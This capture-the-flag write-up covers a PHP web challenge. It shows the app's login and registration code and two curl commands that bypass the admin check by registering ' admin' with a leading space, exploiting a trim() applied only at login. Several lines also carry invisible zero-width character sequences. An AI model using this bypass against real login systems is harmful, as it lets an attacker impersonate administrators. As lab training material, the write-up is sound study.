← Back to Writeups
CUSTOMMediumWeb

Админ

XESXOR9/10/20262 min read
#web#custom#medium#admin_impersonation_without_sq#php_trim_bypass_via_leading_wh#registration_login_logic_gap#linux

Админ

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: admin_impersonation_without_sqli, php_trim_bypass_via_leading_whitespace, registration_login_logic_gap

Summary

Task: PHP login/registration app where you must authorize as admin. Solution: exploit logic gap between registration (exact match) and login (trim on DB result) by registering ' admin' with leading space.

Админ — Hackerlab

Description

Авторизуйтесь как админ, чтобы получить заветный флаг!

English summary: A web application with login and registration forms. Two PHP source files are provided (index.php and registration.php). The goal is to authenticate as the admin user to obtain the flag.

Analysis

The application has two endpoints with a critical logic gap between them:

registration.php — checks if a user exists with exact match:

php
$sql = $link->prepare("SELECT * FROM users WHERE login=?");
$sql->bind_param("s", $login);
$sql->execute();
$found = $sql->fetch();

If the user is not found, it inserts the new credentials directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

index.php — performs login with a subtle flaw:

php
$sql = $link->prepare("SELECT login,password FROM users WHERE login=? and password=? LIMIT 1");
$sql->bind_param("ss", $login, $pass);
$sql->execute();
$sql->bind_result($login, $pass);  // OVERWRITES $login with DB value!
$sql->store_result();
if ($sql->num_rows == 1) {
    if (trim($login) == 'admin') {  // trim() on the DB result
        echo "flag";
    }
}

The key vulnerability is a logic gap between registration and login:

  1. bind_result($login, $pass) overwrites the $login variable with the value fetched from the database
  2. trim($login) is then applied to this database value, not the original user input
  3. Registration only checks exact match — " admin" ≠ "admin" in MySQL string comparison with prepared statements ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This means registering " admin" (with leading space) creates a new user that passes the trim() check during login.

Solution

Step 1: Register with leading space

Register a new user with login " admin" (space + admin):

bash
curl -s -X POST http://62.173.140.174:16072/registration.php \
  --data-urlencode "login= admin" \
  -d "password=mypass123"

Registration succeeds because " admin" is not equal to "admin" in the database lookup.

Step 2: Login with the same credentials

bash
curl -s -X POST http://62.173.140.174:16072/index.php \
  --data-urlencode "login= admin" \
  -d "password=mypass123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response contains the flag.

Why it works — execution flow:

Registration:
  Input:     " admin" (leading space)
  DB Check:  WHERE login=" admin" → NOT found (different from "admin")
  INSERT:    Stores " admin" with password "mypass123"

Login:
  Input:     " admin" + "mypass123"
  DB Query:  WHERE login=" admin" AND password="mypass123" → FOUND (1 row)
  bind_result: $login = " admin" (overwritten from DB)
  trim():    trim(" admin") → "admin"
  Compare:   "admin" == "admin" → TRUE → FLAG!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍